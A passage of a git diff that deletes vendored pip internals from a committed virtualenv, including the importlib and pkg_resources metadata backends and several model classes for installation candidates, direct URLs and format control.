-        """Given a requirement name, return the installed distributions.
-
-        The name may not be normalized. The implementation must canonicalize
-        it for lookup.
-        """
-        raise NotImplementedError()
-
-    def _iter_distributions(self) -> Iterator[BaseDistribution]:
-        """Iterate through installed distributions.
-
-        This function should be implemented by subclass, but never called
-        directly. Use the public ``iter_distribution()`` instead, which
-        implements additional logic to make sure the distributions are valid.
-        """
-        raise NotImplementedError()
-
-    def iter_all_distributions(self) -> Iterator[BaseDistribution]:
-        """Iterate through all installed distributions without any filtering."""
-        for dist in self._iter_distributions():
-            # Make sure the distribution actually comes from a valid Python
-            # packaging distribution. Pip's AdjacentTempDirectory leaves folders
-            # e.g. ``~atplotlib.dist-info`` if cleanup was interrupted. The
-            # valid project name pattern is taken from PEP 508.
-            project_name_valid = re.match(
-                r"^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$",
-                dist.canonical_name,
-                flags=re.IGNORECASE,
-            )
-            if not project_name_valid:
-                logger.warning(
-                    "Ignoring invalid distribution %s (%s)",
-                    dist.canonical_name,
-                    dist.location,
-                )
-                continue
-            yield dist
-
-    def iter_installed_distributions(
-        self,
-        local_only: bool = True,
-        skip: Container[str] = stdlib_pkgs,
-        include_editables: bool = True,
-        editables_only: bool = False,
-        user_only: bool = False,
-    ) -> Iterator[BaseDistribution]:
-        """Return a list of installed distributions.
-
-        This is based on ``iter_all_distributions()`` with additional filtering
-        options. Note that ``iter_installed_distributions()`` without arguments
-        is *not* equal to ``iter_all_distributions()``, since some of the
-        configurations exclude packages by default.
-
-        :param local_only: If True (default), only return installations
-        local to the current virtualenv, if in a virtualenv.
-        :param skip: An iterable of canonicalized project names to ignore;
-            defaults to ``stdlib_pkgs``.
-        :param include_editables: If False, don't report editables.
-        :param editables_only: If True, only report editables.
-        :param user_only: If True, only report installations in the user
-        site directory.
-        """
-        it = self.iter_all_distributions()
-        if local_only:
-            it = (d for d in it if d.local)
-        if not include_editables:
-            it = (d for d in it if not d.editable)
-        if editables_only:
-            it = (d for d in it if d.editable)
-        if user_only:
-            it = (d for d in it if d.in_usersite)
-        return (d for d in it if d.canonical_name not in skip)
-
-
-class Wheel(Protocol):
-    location: str
-
-    def as_zipfile(self) -> zipfile.ZipFile:
-        raise NotImplementedError()
-
-
-class FilesystemWheel(Wheel):
-    def __init__(self, location: str) -> None:
-        self.location = location
-
-    def as_zipfile(self) -> zipfile.ZipFile:
-        return zipfile.ZipFile(self.location, allowZip64=True)
-
-
-class MemoryWheel(Wheel):
-    def __init__(self, location: str, stream: IO[bytes]) -> None:
-        self.location = location
-        self.stream = stream
-
-    def as_zipfile(self) -> zipfile.ZipFile:
-        return zipfile.ZipFile(self.stream, allowZip64=True)
diff --git a/venv/Lib/site-packages/pip/_internal/metadata/importlib/__init__.py b/venv/Lib/site-packages/pip/_internal/metadata/importlib/__init__.py
deleted file mode 100644
index a779138db1040d3903c2bb66ecb2f52a46879dae..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/metadata/importlib/__init__.py
+++ /dev/null
@@ -1,6 +0,0 @@
-from ._dists import Distribution
-from ._envs import Environment
-
-__all__ = ["NAME", "Distribution", "Environment"]
-
-NAME = "importlib"
diff --git a/venv/Lib/site-packages/pip/_internal/metadata/importlib/_compat.py b/venv/Lib/site-packages/pip/_internal/metadata/importlib/_compat.py
deleted file mode 100644
index 7de614d7f64ef463ede0066afd053b06a70f2d43..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/metadata/importlib/_compat.py
+++ /dev/null
@@ -1,87 +0,0 @@
-from __future__ import annotations
-
-import importlib.metadata
-import os
-from typing import Any, Protocol, cast
-
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-
-
-class BadMetadata(ValueError):
-    def __init__(self, dist: importlib.metadata.Distribution, *, reason: str) -> None:
-        self.dist = dist
-        self.reason = reason
-
-    def __str__(self) -> str:
-        return f"Bad metadata in {self.dist} ({self.reason})"
-
-
-class BasePath(Protocol):
-    """A protocol that various path objects conform.
-
-    This exists because importlib.metadata uses both ``pathlib.Path`` and
-    ``zipfile.Path``, and we need a common base for type hints (Union does not
-    work well since ``zipfile.Path`` is too new for our linter setup).
-
-    This does not mean to be exhaustive, but only contains things that present
-    in both classes *that we need*.
-    """
-
-    @property
-    def name(self) -> str:
-        raise NotImplementedError()
-
-    @property
-    def parent(self) -> BasePath:
-        raise NotImplementedError()
-
-
-def get_info_location(d: importlib.metadata.Distribution) -> BasePath | None:
-    """Find the path to the distribution's metadata directory.
-
-    HACK: This relies on importlib.metadata's private ``_path`` attribute. Not
-    all distributions exist on disk, so importlib.metadata is correct to not
-    expose the attribute as public. But pip's code base is old and not as clean,
-    so we do this to avoid having to rewrite too many things. Hopefully we can
-    eliminate this some day.
-    """
-    return getattr(d, "_path", None)
-
-
-def parse_name_and_version_from_info_directory(
-    dist: importlib.metadata.Distribution,
-) -> tuple[str | None, str | None]:
-    """Get a name and version from the metadata directory name.
-
-    This is much faster than reading distribution metadata.
-    """
-    info_location = get_info_location(dist)
-    if info_location is None:
-        return None, None
-
-    stem, suffix = os.path.splitext(info_location.name)
-    if suffix == ".dist-info":
-        name, sep, version = stem.partition("-")
-        if sep:
-            return name, version
-
-    if suffix == ".egg-info":
-        name = stem.split("-", 1)[0]
-        return name, None
-
-    return None, None
-
-
-def get_dist_canonical_name(dist: importlib.metadata.Distribution) -> NormalizedName:
-    """Get the distribution's normalized name.
-
-    The ``name`` attribute is only available in Python 3.10 or later. We are
-    targeting exactly that, but Mypy does not know this.
-    """
-    if name := parse_name_and_version_from_info_directory(dist)[0]:
-        return canonicalize_name(name)
-
-    name = cast(Any, dist).name
-    if not isinstance(name, str):
-        raise BadMetadata(dist, reason="invalid metadata entry 'name'")
-    return canonicalize_name(name)
diff --git a/venv/Lib/site-packages/pip/_internal/metadata/importlib/_dists.py b/venv/Lib/site-packages/pip/_internal/metadata/importlib/_dists.py
deleted file mode 100644
index 98a3cd3d1da9f7e765ae2a5106f7f529006d9190..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/metadata/importlib/_dists.py
+++ /dev/null
@@ -1,235 +0,0 @@
-from __future__ import annotations
-
-import email.message
-import importlib.metadata
-import pathlib
-import zipfile
-from collections.abc import Collection, Iterable, Iterator, Mapping, Sequence
-from os import PathLike
-from typing import (
-    cast,
-)
-
-from pip._vendor.packaging.requirements import Requirement
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-from pip._vendor.packaging.version import Version
-from pip._vendor.packaging.version import parse as parse_version
-
-from pip._internal.exceptions import InvalidWheel, UnsupportedWheel
-from pip._internal.metadata.base import (
-    BaseDistribution,
-    BaseEntryPoint,
-    InfoPath,
-    Wheel,
-)
-from pip._internal.utils.misc import normalize_path
-from pip._internal.utils.packaging import get_requirement
-from pip._internal.utils.temp_dir import TempDirectory
-from pip._internal.utils.wheel import parse_wheel, read_wheel_metadata_file
-
-from ._compat import (
-    BadMetadata,
-    BasePath,
-    get_dist_canonical_name,
-    parse_name_and_version_from_info_directory,
-)
-
-
-class WheelDistribution(importlib.metadata.Distribution):
-    """An ``importlib.metadata.Distribution`` read from a wheel.
-
-    Although ``importlib.metadata.PathDistribution`` accepts ``zipfile.Path``,
-    its implementation is too "lazy" for pip's needs (we can't keep the ZipFile
-    handle open for the entire lifetime of the distribution object).
-
-    This implementation eagerly reads the entire metadata directory into the
-    memory instead, and operates from that.
-    """
-
-    def __init__(
-        self,
-        files: Mapping[pathlib.PurePosixPath, bytes],
-        info_location: pathlib.PurePosixPath,
-    ) -> None:
-        self._files = files
-        self.info_location = info_location
-
-    @classmethod
-    def from_zipfile(
-        cls,
-        zf: zipfile.ZipFile,
-        name: str,
-        location: str,
-    ) -> WheelDistribution:
-        info_dir, _ = parse_wheel(zf, name)
-        paths = (
-            (name, pathlib.PurePosixPath(name.split("/", 1)[-1]))
-            for name in zf.namelist()
-            if name.startswith(f"{info_dir}/")
-        )
-        files = {
-            relpath: read_wheel_metadata_file(zf, fullpath)
-            for fullpath, relpath in paths
-        }
-        info_location = pathlib.PurePosixPath(location, info_dir)
-        return cls(files, info_location)
-
-    def iterdir(self, path: InfoPath) -> Iterator[pathlib.PurePosixPath]:
-        # Only allow iterating through the metadata directory.
-        if pathlib.PurePosixPath(str(path)) in self._files:
-            return iter(self._files)
-        raise FileNotFoundError(path)
-
-    def read_text(self, filename: str) -> str | None:
-        try:
-            data = self._files[pathlib.PurePosixPath(filename)]
-        except KeyError:
-            return None
-        try:
-            text = data.decode("utf-8")
-        except UnicodeDecodeError as e:
-            wheel = self.info_location.parent
-            error = f"Error decoding metadata for {wheel}: {e} in {filename} file"
-            raise UnsupportedWheel(error)
-        return text
-
-    def locate_file(self, path: str | PathLike[str]) -> pathlib.Path:
-        # This method doesn't make sense for our in-memory wheel, but the API
-        # requires us to define it.
-        raise NotImplementedError
-
-
-class Distribution(BaseDistribution):
-    def __init__(
-        self,
-        dist: importlib.metadata.Distribution,
-        info_location: BasePath | None,
-        installed_location: BasePath | None,
-    ) -> None:
-        self._dist = dist
-        self._info_location = info_location
-        self._installed_location = installed_location
-
-    @classmethod
-    def from_directory(cls, directory: str) -> BaseDistribution:
-        info_location = pathlib.Path(directory)
-        dist = importlib.metadata.Distribution.at(info_location)
-        return cls(dist, info_location, info_location.parent)
-
-    @classmethod
-    def from_metadata_file_contents(
-        cls,
-        metadata_contents: bytes,
-        filename: str,
-        project_name: str,
-    ) -> BaseDistribution:
-        # Generate temp dir to contain the metadata file, and write the file contents.
-        temp_dir = pathlib.Path(
-            TempDirectory(kind="metadata", globally_managed=True).path
-        )
-        metadata_path = temp_dir / "METADATA"
-        metadata_path.write_bytes(metadata_contents)
-        # Construct dist pointing to the newly created directory.
-        dist = importlib.metadata.Distribution.at(metadata_path.parent)
-        return cls(dist, metadata_path.parent, None)
-
-    @classmethod
-    def from_wheel(cls, wheel: Wheel, name: str) -> BaseDistribution:
-        try:
-            with wheel.as_zipfile() as zf:
-                dist = WheelDistribution.from_zipfile(zf, name, wheel.location)
-        except zipfile.BadZipFile as e:
-            raise InvalidWheel(wheel.location, name) from e
-        return cls(dist, dist.info_location, pathlib.PurePosixPath(wheel.location))
-
-    @property
-    def location(self) -> str | None:
-        if self._info_location is None:
-            return None
-        return str(self._info_location.parent)
-
-    @property
-    def info_location(self) -> str | None:
-        if self._info_location is None:
-            return None
-        return str(self._info_location)
-
-    @property
-    def installed_location(self) -> str | None:
-        if self._installed_location is None:
-            return None
-        return normalize_path(str(self._installed_location))
-
-    @property
-    def canonical_name(self) -> NormalizedName:
-        return get_dist_canonical_name(self._dist)
-
-    @property
-    def version(self) -> Version:
-        try:
-            version = (
-                parse_name_and_version_from_info_directory(self._dist)[1]
-                or self._dist.version
-            )
-            return parse_version(version)
-        except TypeError:
-            raise BadMetadata(self._dist, reason="invalid metadata entry `version`")
-
-    @property
-    def raw_version(self) -> str:
-        return self.metadata["Version"]
-
-    def is_file(self, path: InfoPath) -> bool:
-        return self._dist.read_text(str(path)) is not None
-
-    def iter_distutils_script_names(self) -> Iterator[str]:
-        # A distutils installation is always "flat" (not in e.g. egg form), so
-        # if this distribution's info location is NOT a pathlib.Path (but e.g.
-        # zipfile.Path), it can never contain any distutils scripts.
-        if not isinstance(self._info_location, pathlib.Path):
-            return
-        for child in self._info_location.joinpath("scripts").iterdir():
-            yield child.name
-
-    def read_text(self, path: InfoPath) -> str:
-        content = self._dist.read_text(str(path))
-        if content is None:
-            raise FileNotFoundError(path)
-        return content
-
-    def iter_entry_points(self) -> Iterable[BaseEntryPoint]:
-        # importlib.metadata's EntryPoint structure satisfies BaseEntryPoint.
-        return self._dist.entry_points
-
-    def _metadata_impl(self) -> email.message.Message:
-        # From Python 3.10+, importlib.metadata declares PackageMetadata as the
-        # return type. This protocol is unfortunately a disaster now and misses
-        # a ton of fields that we need, including get() and get_payload(). We
-        # rely on the implementation that the object is actually a Message now,
-        # until upstream can improve the protocol. (python/cpython#94952)
-        metadata = self._dist.metadata
-        # From Python 3.15+, importlib.metadata may return None when no
-        # metadata file (METADATA or PKG-INFO) exists in the distribution
-        # directory. (python/cpython#132947)
-        if metadata is None:
-            return email.message.Message()
-        return cast(email.message.Message, metadata)
-
-    def iter_provided_extras(self) -> Iterable[NormalizedName]:
-        return [
-            canonicalize_name(extra)
-            for extra in self.metadata.get_all("Provides-Extra", [])
-        ]
-
-    def iter_dependencies(self, extras: Collection[str] = ()) -> Iterable[Requirement]:
-        contexts: Sequence[dict[str, str]] = [{"extra": e} for e in extras]
-        for req_string in self.metadata.get_all("Requires-Dist", []):
-            # strip() because email.message.Message.get_all() may return a leading \n
-            # in case a long header was wrapped.
-            req = get_requirement(req_string.strip())
-            if not req.marker:
-                yield req
-            elif not extras and req.marker.evaluate({"extra": ""}):
-                yield req
-            elif any(req.marker.evaluate(context) for context in contexts):
-                yield req
diff --git a/venv/Lib/site-packages/pip/_internal/metadata/importlib/_envs.py b/venv/Lib/site-packages/pip/_internal/metadata/importlib/_envs.py
deleted file mode 100644
index be732a9f9f1cd9e974a3ce8d0be282506115beeb..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/metadata/importlib/_envs.py
+++ /dev/null
@@ -1,148 +0,0 @@
-from __future__ import annotations
-
-import importlib.metadata
-import logging
-import os
-import pathlib
-import sys
-import zipfile
-from collections.abc import Iterator, Sequence
-
-from pip._vendor.packaging.utils import (
-    InvalidWheelFilename,
-    NormalizedName,
-    canonicalize_name,
-    parse_wheel_filename,
-)
-
-from pip._internal.metadata.base import BaseDistribution, BaseEnvironment
-from pip._internal.utils.filetypes import WHEEL_EXTENSION
-
-from ._compat import BadMetadata, BasePath, get_dist_canonical_name, get_info_location
-from ._dists import Distribution
-
-logger = logging.getLogger(__name__)
-
-# Used to avoid emitting duplicate invalid distribution metadata warnings for
-# the same dist-info directory.
-_warned_bad_metadata: set[BasePath | None] = set()
-
-
-def _looks_like_wheel(location: str) -> bool:
-    if not location.endswith(WHEEL_EXTENSION):
-        return False
-    if not os.path.isfile(location):
-        return False
-    try:
-        parse_wheel_filename(os.path.basename(location))
-    except InvalidWheelFilename:
-        return False
-    return zipfile.is_zipfile(location)
-
-
-class _DistributionFinder:
-    """Finder to locate distributions.
-
-    The main purpose of this class is to memoize found distributions' names, so
-    only one distribution is returned for each package name. At lot of pip code
-    assumes this (because it is setuptools's behavior), and not doing the same
-    can potentially cause a distribution in lower precedence path to override a
-    higher precedence one if the caller is not careful.
-
-    Eventually we probably want to make it possible to see lower precedence
-    installations as well. It's useful feature, after all.
-    """
-
-    FoundResult = tuple[importlib.metadata.Distribution, BasePath | None]
-
-    def __init__(self) -> None:
-        self._found_names: set[NormalizedName] = set()
-
-    def _find_impl(self, location: str) -> Iterator[FoundResult]:
-        """Find distributions in a location."""
-        # Skip looking inside a wheel. Since a package inside a wheel is not
-        # always valid (due to .data directories etc.), its .dist-info entry
-        # should not be considered an installed distribution.
-        if _looks_like_wheel(location):
-            return
-        # To know exactly where we find a distribution, we have to feed in the
-        # paths one by one, instead of dumping the list to importlib.metadata.
-        for dist in importlib.metadata.distributions(path=[location]):
-            info_location = get_info_location(dist)
-            try:
-                name = get_dist_canonical_name(dist)
-            except BadMetadata as e:
-                if info_location not in _warned_bad_metadata:
-                    logger.warning("Skipping %s due to %s", info_location, e.reason)
-                    _warned_bad_metadata.add(info_location)
-                continue
-            if name in self._found_names:
-                continue
-            self._found_names.add(name)
-            yield dist, info_location
-
-    def find(self, location: str) -> Iterator[BaseDistribution]:
-        """Find distributions in a location.
-
-        The path can be either a directory, or a ZIP archive.
-        """
-        for dist, info_location in self._find_impl(location):
-            if info_location is None:
-                installed_location: BasePath | None = None
-            else:
-                installed_location = info_location.parent
-            yield Distribution(dist, info_location, installed_location)
-
-    def find_legacy_editables(self, location: str) -> Iterator[BaseDistribution]:
-        """Read location in egg-link files and return distributions in there.
-
-        The path should be a directory; otherwise this returns nothing. This
-        follows how setuptools does this for compatibility. The first non-empty
-        line in the egg-link is read as a path (resolved against the egg-link's
-        containing directory if relative). Distributions found at that linked
-        location are returned.
-        """
-        path = pathlib.Path(location)
-        if not path.is_dir():
-            return
-        for child in path.iterdir():
-            if child.suffix != ".egg-link":
-                continue
-            with child.open() as f:
-                lines = (line.strip() for line in f)
-                target_rel = next((line for line in lines if line), "")
-            if not target_rel:
-                continue
-            target_location = str(path.joinpath(target_rel))
-            for dist, info_location in self._find_impl(target_location):
-                yield Distribution(dist, info_location, path)
-
-
-class Environment(BaseEnvironment):
-    def __init__(self, paths: Sequence[str]) -> None:
-        self._paths = paths
-
-    @classmethod
-    def default(cls) -> BaseEnvironment:
-        return cls(sys.path)
-
-    @classmethod
-    def from_paths(cls, paths: list[str] | None) -> BaseEnvironment:
-        if paths is None:
-            return cls(sys.path)
-        return cls(paths)
-
-    def _iter_distributions(self) -> Iterator[BaseDistribution]:
-        finder = _DistributionFinder()
-        for location in self._paths:
-            yield from finder.find(location)
-            yield from finder.find_legacy_editables(location)
-
-    def get_distribution(self, name: str) -> BaseDistribution | None:
-        canonical_name = canonicalize_name(name)
-        matches = (
-            distribution
-            for distribution in self.iter_all_distributions()
-            if distribution.canonical_name == canonical_name
-        )
-        return next(matches, None)
diff --git a/venv/Lib/site-packages/pip/_internal/metadata/pkg_resources.py b/venv/Lib/site-packages/pip/_internal/metadata/pkg_resources.py
deleted file mode 100644
index 89fce8b6e5ddeceb77b2f155221ee3f153dbca31..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/metadata/pkg_resources.py
+++ /dev/null
@@ -1,298 +0,0 @@
-from __future__ import annotations
-
-import email.message
-import email.parser
-import logging
-import os
-import zipfile
-from collections.abc import Collection, Iterable, Iterator, Mapping
-from typing import (
-    NamedTuple,
-)
-
-from pip._vendor import pkg_resources
-from pip._vendor.packaging.requirements import Requirement
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-from pip._vendor.packaging.version import Version
-from pip._vendor.packaging.version import parse as parse_version
-
-from pip._internal.exceptions import InvalidWheel, NoneMetadataError, UnsupportedWheel
-from pip._internal.utils.egg_link import egg_link_path_from_location
-from pip._internal.utils.misc import display_path, normalize_path
-from pip._internal.utils.wheel import parse_wheel, read_wheel_metadata_file
-
-from .base import (
-    BaseDistribution,
-    BaseEntryPoint,
-    BaseEnvironment,
-    InfoPath,
-    Wheel,
-)
-
-__all__ = ["NAME", "Distribution", "Environment"]
-
-logger = logging.getLogger(__name__)
-
-NAME = "pkg_resources"
-
-
-class EntryPoint(NamedTuple):
-    name: str
-    value: str
-    group: str
-
-
-class InMemoryMetadata:
-    """IMetadataProvider that reads metadata files from a dictionary.
-
-    This also maps metadata decoding exceptions to our internal exception type.
-    """
-
-    def __init__(self, metadata: Mapping[str, bytes], wheel_name: str) -> None:
-        self._metadata = metadata
-        self._wheel_name = wheel_name
-
-    def has_metadata(self, name: str) -> bool:
-        return name in self._metadata
-
-    def get_metadata(self, name: str) -> str:
-        try:
-            return self._metadata[name].decode()
-        except UnicodeDecodeError as e:
-            # Augment the default error with the origin of the file.
-            raise UnsupportedWheel(
-                f"Error decoding metadata for {self._wheel_name}: {e} in {name} file"
-            )
-
-    def get_metadata_lines(self, name: str) -> Iterable[str]:
-        return pkg_resources.yield_lines(self.get_metadata(name))
-
-    def metadata_isdir(self, name: str) -> bool:
-        return False
-
-    def metadata_listdir(self, name: str) -> list[str]:
-        return []
-
-    def run_script(self, script_name: str, namespace: str) -> None:
-        pass
-
-
-class Distribution(BaseDistribution):
-    def __init__(self, dist: pkg_resources.Distribution) -> None:
-        self._dist = dist
-        # This is populated lazily, to avoid loading metadata for all possible
-        # distributions eagerly.
-        self.__extra_mapping: Mapping[NormalizedName, str] | None = None
-
-    @property
-    def _extra_mapping(self) -> Mapping[NormalizedName, str]:
-        if self.__extra_mapping is None:
-            self.__extra_mapping = {
-                canonicalize_name(extra): extra for extra in self._dist.extras
-            }
-
-        return self.__extra_mapping
-
-    @classmethod
-    def from_directory(cls, directory: str) -> BaseDistribution:
-        dist_dir = directory.rstrip(os.sep)
-
-        # Build a PathMetadata object, from path to metadata. :wink:
-        base_dir, dist_dir_name = os.path.split(dist_dir)
-        metadata = pkg_resources.PathMetadata(base_dir, dist_dir)
-
-        # Determine the correct Distribution object type.
-        if dist_dir.endswith(".egg-info"):
-            dist_cls = pkg_resources.Distribution
-            dist_name = os.path.splitext(dist_dir_name)[0]
-        else:
-            assert dist_dir.endswith(".dist-info")
-            dist_cls = pkg_resources.DistInfoDistribution
-            dist_name = os.path.splitext(dist_dir_name)[0].split("-")[0]
-
-        dist = dist_cls(base_dir, project_name=dist_name, metadata=metadata)
-        return cls(dist)
-
-    @classmethod
-    def from_metadata_file_contents(
-        cls,
-        metadata_contents: bytes,
-        filename: str,
-        project_name: str,
-    ) -> BaseDistribution:
-        metadata_dict = {
-            "METADATA": metadata_contents,
-        }
-        dist = pkg_resources.DistInfoDistribution(
-            location=filename,
-            metadata=InMemoryMetadata(metadata_dict, filename),
-            project_name=project_name,
-        )
-        return cls(dist)
-
-    @classmethod
-    def from_wheel(cls, wheel: Wheel, name: str) -> BaseDistribution:
-        try:
-            with wheel.as_zipfile() as zf:
-                info_dir, _ = parse_wheel(zf, name)
-                metadata_dict = {
-                    path.split("/", 1)[-1]: read_wheel_metadata_file(zf, path)
-                    for path in zf.namelist()
-                    if path.startswith(f"{info_dir}/")
-                }
-        except zipfile.BadZipFile as e:
-            raise InvalidWheel(wheel.location, name) from e
-        except UnsupportedWheel as e:
-            raise UnsupportedWheel(f"{name} has an invalid wheel, {e}")
-        dist = pkg_resources.DistInfoDistribution(
-            location=wheel.location,
-            metadata=InMemoryMetadata(metadata_dict, wheel.location),
-            project_name=name,
-        )
-        return cls(dist)
-
-    @property
-    def location(self) -> str | None:
-        return self._dist.location
-
-    @property
-    def installed_location(self) -> str | None:
-        egg_link = egg_link_path_from_location(self.raw_name)
-        if egg_link:
-            location = egg_link
-        elif self.location:
-            location = self.location
-        else:
-            return None
-        return normalize_path(location)
-
-    @property
-    def info_location(self) -> str | None:
-        return self._dist.egg_info
-
-    @property
-    def installed_by_distutils(self) -> bool:
-        # A distutils-installed distribution is provided by FileMetadata. This
-        # provider has a "path" attribute not present anywhere else. Not the
-        # best introspection logic, but pip has been doing this for a long time.
-        try:
-            return bool(self._dist._provider.path)
-        except AttributeError:
-            return False
-
-    @property
-    def canonical_name(self) -> NormalizedName:
-        return canonicalize_name(self._dist.project_name)
-
-    @property
-    def version(self) -> Version:
-        return parse_version(self._dist.version)
-
-    @property
-    def raw_version(self) -> str:
-        return self._dist.version
-
-    def is_file(self, path: InfoPath) -> bool:
-        return self._dist.has_metadata(str(path))
-
-    def iter_distutils_script_names(self) -> Iterator[str]:
-        yield from self._dist.metadata_listdir("scripts")
-
-    def read_text(self, path: InfoPath) -> str:
-        name = str(path)
-        if not self._dist.has_metadata(name):
-            raise FileNotFoundError(name)
-        content = self._dist.get_metadata(name)
-        if content is None:
-            raise NoneMetadataError(self, name)
-        return content
-
-    def iter_entry_points(self) -> Iterable[BaseEntryPoint]:
-        for group, entries in self._dist.get_entry_map().items():
-            for name, entry_point in entries.items():
-                name, _, value = str(entry_point).partition("=")
-                yield EntryPoint(name=name.strip(), value=value.strip(), group=group)
-
-    def _metadata_impl(self) -> email.message.Message:
-        """
-        :raises NoneMetadataError: if the distribution reports `has_metadata()`
-            True but `get_metadata()` returns None.
-        """
-        if isinstance(self._dist, pkg_resources.DistInfoDistribution):
-            metadata_name = "METADATA"
-        else:
-            metadata_name = "PKG-INFO"
-        try:
-            metadata = self.read_text(metadata_name)
-        except FileNotFoundError:
-            if self.location:
-                displaying_path = display_path(self.location)
-            else:
-                displaying_path = repr(self.location)
-            logger.warning("No metadata found in %s", displaying_path)
-            metadata = ""
-        feed_parser = email.parser.FeedParser()
-        feed_parser.feed(metadata)
-        return feed_parser.close()
-
-    def iter_dependencies(self, extras: Collection[str] = ()) -> Iterable[Requirement]:
-        if extras:
-            relevant_extras = set(self._extra_mapping) & set(
-                map(canonicalize_name, extras)
-            )
-            extras = [self._extra_mapping[extra] for extra in relevant_extras]
-        return self._dist.requires(extras)
-
-    def iter_provided_extras(self) -> Iterable[NormalizedName]:
-        return self._extra_mapping.keys()
-
-
-class Environment(BaseEnvironment):
-    def __init__(self, ws: pkg_resources.WorkingSet) -> None:
-        self._ws = ws
-
-    @classmethod
-    def default(cls) -> BaseEnvironment:
-        return cls(pkg_resources.working_set)
-
-    @classmethod
-    def from_paths(cls, paths: list[str] | None) -> BaseEnvironment:
-        return cls(pkg_resources.WorkingSet(paths))
-
-    def _iter_distributions(self) -> Iterator[BaseDistribution]:
-        for dist in self._ws:
-            yield Distribution(dist)
-
-    def _search_distribution(self, name: str) -> BaseDistribution | None:
-        """Find a distribution matching the ``name`` in the environment.
-
-        This searches from *all* distributions available in the environment, to
-        match the behavior of ``pkg_resources.get_distribution()``.
-        """
-        canonical_name = canonicalize_name(name)
-        for dist in self.iter_all_distributions():
-            if dist.canonical_name == canonical_name:
-                return dist
-        return None
-
-    def get_distribution(self, name: str) -> BaseDistribution | None:
-        # Search the distribution by looking through the working set.
-        dist = self._search_distribution(name)
-        if dist:
-            return dist
-
-        # If distribution could not be found, call working_set.require to
-        # update the working set, and try to find the distribution again.
-        # This might happen for e.g. when you install a package twice, once
-        # using setup.py develop and again using setup.py install. Now when
-        # running pip uninstall twice, the package gets removed from the
-        # working set in the first uninstall, so we have to populate the
-        # working set again so that pip knows about it and the packages gets
-        # picked up and is successfully uninstalled the second time too.
-        try:
-            # We didn't pass in any version specifiers, so this can never
-            # raise pkg_resources.VersionConflict.
-            self._ws.require(name)
-        except pkg_resources.DistributionNotFound:
-            return None
-        return self._search_distribution(name)
diff --git a/venv/Lib/site-packages/pip/_internal/models/__init__.py b/venv/Lib/site-packages/pip/_internal/models/__init__.py
deleted file mode 100644
index 7b1fc2950326463fb5bf1cc460e5ca0ac3de3e9a..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-"""A package that contains models that represent entities."""
diff --git a/venv/Lib/site-packages/pip/_internal/models/candidate.py b/venv/Lib/site-packages/pip/_internal/models/candidate.py
deleted file mode 100644
index 0639466c4ce42c01ef30d3408bc9935df940e76d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/candidate.py
+++ /dev/null
@@ -1,27 +0,0 @@
-from dataclasses import dataclass
-
-from pip._vendor.packaging.version import Version
-from pip._vendor.packaging.version import parse as parse_version
-
-from pip._internal.models.link import Link
-
-
-@dataclass(frozen=True, slots=True)
-class InstallationCandidate:
-    """Represents a potential "candidate" for installation."""
-
-    name: str
-    version: Version
-    link: Link
-    locked: bool
-
-    def __init__(
-        self, name: str, version: str, link: Link, locked: bool = False
-    ) -> None:
-        object.__setattr__(self, "name", name)
-        object.__setattr__(self, "version", parse_version(version))
-        object.__setattr__(self, "link", link)
-        object.__setattr__(self, "locked", locked)
-
-    def __str__(self) -> str:
-        return f"{self.name!r} candidate (version {self.version} at {self.link})"
diff --git a/venv/Lib/site-packages/pip/_internal/models/direct_url.py b/venv/Lib/site-packages/pip/_internal/models/direct_url.py
deleted file mode 100644
index a2dfb340abf7feaf9c5f89a86672df23c6cfb925..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/direct_url.py
+++ /dev/null
@@ -1,42 +0,0 @@
-"""PEP 610"""
-
-from __future__ import annotations
-
-import json
-from typing import Any
-
-from pip._vendor.packaging.direct_url import (
-    ArchiveInfo,
-    DirectUrlValidationError,
-    DirInfo,
-    VcsInfo,
-)
-from pip._vendor.packaging.direct_url import (
-    DirectUrl as PackagingDirectUrl,
-)
-
-__all__ = [
-    "ArchiveInfo",
-    "DirInfo",
-    "DirectUrl",
-    "DirectUrlValidationError",
-    "DIRECT_URL_METADATA_NAME",
-    "VcsInfo",
-]
-
-DIRECT_URL_METADATA_NAME = "direct_url.json"
-
-
-class DirectUrl(PackagingDirectUrl):
-    def to_dict_compat(self) -> dict[str, Any]:
-        return dict(super().to_dict(generate_legacy_hash=True))
-
-    @classmethod
-    def from_json(cls, s: str) -> DirectUrl:
-        return cls.from_dict(json.loads(s))
-
-    def to_json(self) -> str:
-        return json.dumps(self.to_dict_compat(), sort_keys=True)
-
-    def is_local_editable(self) -> bool:
-        return bool(self.dir_info and self.dir_info.editable)
diff --git a/venv/Lib/site-packages/pip/_internal/models/format_control.py b/venv/Lib/site-packages/pip/_internal/models/format_control.py
deleted file mode 100644
index 9f07e3f34993379fb06378442a82438e057ebe30..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/format_control.py
+++ /dev/null
@@ -1,78 +0,0 @@
-from __future__ import annotations
-
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.exceptions import CommandError
-
-
-class FormatControl:
-    """Helper for managing formats from which a package can be installed."""
-
-    __slots__ = ["no_binary", "only_binary"]
-
-    def __init__(
-        self,
-        no_binary: set[str] | None = None,
-        only_binary: set[str] | None = None,
-    ) -> None:
-        if no_binary is None:
-            no_binary = set()
-        if only_binary is None:
-            only_binary = set()
-
-        self.no_binary = no_binary
-        self.only_binary = only_binary
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, self.__class__):
-            return NotImplemented
-
-        if self.__slots__ != other.__slots__:
-            return False
-
-        return all(getattr(self, k) == getattr(other, k) for k in self.__slots__)
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({self.no_binary}, {self.only_binary})"
-
-    @staticmethod
